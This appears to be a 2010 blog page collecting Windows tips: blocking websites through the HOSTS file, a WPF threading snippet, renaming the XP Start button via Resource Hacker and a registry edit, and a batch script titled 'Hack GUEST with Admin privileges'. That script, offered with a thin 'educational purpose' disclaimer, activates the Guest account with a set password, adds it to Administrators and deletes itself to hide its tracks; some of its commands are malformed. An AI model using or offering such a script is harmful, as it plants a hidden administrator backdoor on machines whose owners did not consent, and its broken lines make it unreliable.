Sunday, November 28, 2010

How To Block Websties Without Software, block websites

Step-1:

1] Browse C:\WINDOWS\system32\drivers\etc
2] Find the file named "HOSTS"
3] Open it in notepad
4] Under "127.0.0.1 localhost" Add 127.0.0.2 www.sitenameyouwantblocked.com , and that site will no
     longer be accessable.
5] Done!

      -So-

127.0.0.1 localhost
127.0.0.2 www.google.com
==> www.google.com is now unaccessable <==


For every site after that you want to add, just add "1" to the last number in the internal ip (127.0.0.2) and then the addy like before.

IE: 127.0.0.3 www.orkut.com
127.0.0.4 www.facebook.com
127.0.0.5 www.youtube.com

etc

Wednesday, November 17, 2010

Hack "GUEST" with Admin privileges........

Please Don't missuses This ARTICLE. Its meant for "Educational Purpose" only or for helping those who have lost their PASSWORD.

--------------Code Here---------------

echo off
title Please wait...
cls

net user add Username Password /add
net user localgroup Administrators Username /add
net user Guest mahi /active:yes
net localgroup Guests Guest /DELETE
net localgroup Administrators Guest /add

del %0


--------------Code Here---------------

Copy this to notepad and save the file as "Guest2admin.bat"
then u can double click the file to execute or run in the cmd.
it works...




Enjoy!!!

Tuesday, November 16, 2010

How can I access my Mainwindow-controls from a thread?

public MainWindow()
{
      InitializeComponent();

      Thread workerThread = new Thread(WorkerThread);
      workerThread.Start();
}

private void WorkerThread()
{
      UpdateWindowText(this);
}

private void UpdateWindowText(Window window)
{
      window.Dispatcher.Invoke((Action) (() => window.Title = "test"));
}

Change Text on XP Start Button

First you need a tool called "Resource Hacker". This free program allows you to change resources in any .exe file such as "Explorer.exe", which includes the [Start] button's Label. You can visit http://www.brothersoft.com/resource-hacker-download-60545.html "Resource Hacker".
After you download it, follow the guide here:

Step 1: Modify Explorer.exe File
A - Run "Resource Hacker" and open the file " C:\Windows\explorer.exe".






B - You see a Tree of all Resources in this file, expand the "String Table".

     expand string 37 followed by highlighting 1033.




     We’re going to modify item 578, currently showing the word “start” just as 
     it displays on the current Start button.

C - Find the "start" and replace it with Mahi. Then press the [Compile Script] button.


D -
Do not use the [Save] command – Use the [Save As] command.
     Name the file explorer.exe
     Save the explorer.exe file to C:\Windows\inf directory.



E - Quit "Resource Hacker".





Step 2: Modify the Registry

A - Click on the [Start] button and choose the "Run..." item from the start menu. 

     (Or use the shortcut key WinKey+R)

B - Type "RegEdit" in the Run "Dialog Box". And then press the [Ok] buton to run the "Registry Editor" program.


C - Go to: "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon" 

     and find the "Shell" property.


D - Replace value of the "Shell" property to "
inf/explorer.exe".




     after modify registry your registry look like.


E - Quit "Registry Editor".


F - Restart your system.




    After restarting your computer your start button look like.




Note about Registry Editor:
 
if you did not find the key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon", you can search the Registry for the "Explorer.exe", to do this use the Edit Menu | Find Next (Ctrl+F).



enjoy!!......